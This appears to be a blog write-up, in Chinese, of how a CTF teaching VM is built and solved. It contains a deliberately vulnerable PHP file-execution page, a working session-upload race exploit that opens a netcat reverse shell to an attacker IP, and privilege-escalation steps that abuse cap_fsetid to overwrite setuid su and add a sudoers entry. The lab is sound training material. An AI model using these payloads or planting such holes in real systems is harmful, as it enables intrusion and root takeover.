MazeSec su靶机设计流程

发布于: 2026-10-12 13:35

设计思路:web入口处首页展示静态内容,选手扫描web目录发现info.php,shell.php,根据info.php的phpinfo信息找到php session的存储路径,控制session文件名及文件内容执行命令反弹shell,在/var/tmp目录可以发现存放多个suid的su二进制文件,以及PHP二进制文件存在的cap_fsetid权限,利用该权限下读写文件不会损失二进制文件suid属性,读取bash二进制文件内容写入su实现提权。

设计上,对于给php二进制文件设置cap_fsetid权限,suid二进制文件4777全局可写的suid文件的场景极不合理,设计这个场景主要是为了教学目的,一方面给选手发现直接修改suid文件会失去suid属性,另一方面抛砖引玉通过Linux capabilites中少见的cap_fsetid权限增加AI梭哈成本,让选手在过程中可以了解到一些相关内容,场景仅适用于学习交流。想要了解更全面的Linux capabilites知识,了解更多请阅读Linux capabilities - HackTricks文档,我对PHP session的学习和理解PHP临时文件生成分析及利用。

基础环境安装

安装 python3、getcap、setcap、gnu版本su、find以及编译环境,优化选手体验,同时可以满足选手编译独立二进制文件的需求。

apk add libcap findutils util-linux-login build-base python3

模板靶机已配置过nginx、php-fpm,此处不再重复安装配置

web准备

index.php

<?php
echo "Hi!";

info.php

<?php 
phpinfo();

shell.php

<?php
highlight_file(__FILE__);

$f = $_GET['f'] ?? '';
if (file_exists($f)) {
    system(". $f");
}

提权准备

准备多份su二进制文件,并设置setuid

# 确保su不是/bin/bbsuid的软链接
ls -alh /bin/su
# 复制10份
for i in {1..10}; do cp /bin/su /var/tmp/su$i; done
chmod 4777 /var/tmp/su*

给php补充cap_fsetid权限

ls /usr/bin/php*
setcap cap_fsetid+ep /usr/bin/php85

声明信息:

cat << "EOF" > /var/tmp/README
你好,这是一个教学环境。你至少有 10 次机会可以提权到 root。
祝你学习工作顺利!

---

Hi, this is a teaching environment. You have at least 10 chances to escalate to root.
Good luck and happy hacking!
EOF

用户密码修改

添加一个普通用户

useradd daochunhan -s /bin/bash -m
echo "daochunhan:@daochunhan" | chpasswd

root修改密码

echo "root:root@Mazesec" | chpasswd

放置flag

echo 'flag{root-7beb8555c08d73b62d27e5fe69886bba}' > /root/root.txt
echo 'flag{user-f40e447ab9ba43c5352eae22b260893a}' > /home/daochunhan/user.txt
chown daochunhan:daochunhan /home/daochunhan/user.txt
chmod 664 /home/daochunhan/user.txt

压缩镜像

清理磁盘空间及痕迹参考:https://the0n3.top/posts/vm-trace-cleanup-and-image-compression/

压缩空间

# 用零填充空闲空间,便于压缩
dd if=/dev/zero of=/zero bs=1M || true; rm -f /zero

测试

web扫描目录可以发现info.php,shell.php,利用info.php的phpinfo信息找到php session的存储路径,控制session文件名及文件内容执行命令反弹shell

import io
import requests
import threading
url = 'http://192.168.56.158/shell.php'
sessionid = 'aaaa'

def write(session): # 写入临时文件
    while True:
        fileBytes = io.BytesIO(b'a'*1024*200)
        session.post(url,
        cookies = {'PHPSESSID':sessionid},
        data = {'PHP_SESSION_UPLOAD_PROGRESS':'''
busybox nc 192.168.56.111 4444 -e bash
'''},
        files={'file':('1.jpg',fileBytes)}
        )

def read(session):
    while True:
        session.get(url + '?f=/tmp/sess_' + sessionid)

evnet=threading.Event() # 多线程

session = requests.session()
for i in range(5):
    threading.Thread(target = write,args = (session,)).start()
for i in range(5):
    threading.Thread(target = read,args = (session,)).start()

evnet.set()

这版本AlpineLinux使用script优化反弹shell时会遇到This account is not available问题,可以使用python优化反弹shell。

python3 -c 'import pty; pty.spawn("/bin/bash")'

拿到基础shell后,可以通过利用cap_fsetid权限读取bash二进制文件内容写入su,拿到suid bash,受AlpineLinux的Busybox影响,可以利用suid bash给的fsuid再进一步获取完整root权限。

介绍下cap_fsetid权限,cap_fsetid是Linux capabilities中的一个权限,允许进程在写入文件时保留文件的set-user-ID和set-group-ID位。通常情况下,当一个非特权用户修改一个具有setuid或setgid位的文件时,这些位会被清除,以防止潜在的安全风险。然而,如果进程拥有cap_fsetid权限,它可以在写入文件时保留这些位,从而允许非特权用户创建或修改具有setuid或setgid位的文件。靶机在/var/tmp下准备了10个suid的全局可写的su二进制文件,他们几乎只会存在于教学环境中,实际生产环境中不应该存在这种情况。

nginx@Maze:/var/tmp$ getcap -r /
/usr/bin/php85 cap_fsetid=ep
nginx@Maze:/var/tmp$ ls -alh su1
-rwsrwxrwx    1 root     root       46.0K Oct 12 15:16 su1
nginx@Maze:/var/tmp$ /usr/bin/php85 -r 'file_put_contents("su1",file_get_contents("/bin/bash"));'
nginx@Maze:/var/tmp$ ls -alh su1
-rwsrwxrwx    1 root     root      771.0K Oct 12 16:30 su1
nginx@Maze:/var/tmp$ ./su1 -p
su1-5.3# cat /root/root.txt
cat: can't open '/root/root.txt': Permission denied
su1-5.3# echo 'ALL ALL=(ALL) NOPASSWD:ALL' > /etc/sudoers.d/a
su1-5.3# exit
exit
nginx@Maze:/var/tmp$ sudo -i
root@Maze:~#

或者编译独立二进制文件覆盖suid su获取完整权限

#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    execl("/bin/bash", "bash", "-p", NULL);
}

编译过程找不到cc1,手动加下cc链或者攻击机静态编译了

nginx@Maze:/var/tmp$ export PATH="/usr/libexec/gcc/x86_64-alpine-linux-musl/15.2.0:$PATH"
nginx@Maze:/var/tmp$ gcc daochunhan.c -o daochunhan
nginx@Maze:/var/tmp$ getcap -r /
/usr/bin/php85 cap_fsetid=ep
nginx@Maze:/var/tmp$ /usr/bin/php85 -r 'file_put_contents("su2",file_get_contents("./daochunhan"));'
nginx@Maze:/var/tmp$ ls -alh su2
-rwsrwxrwx    1 root     root       18.0K Oct 12 16:43 su2
nginx@Maze:/var/tmp$ ./su2
root@Maze:/var/tmp#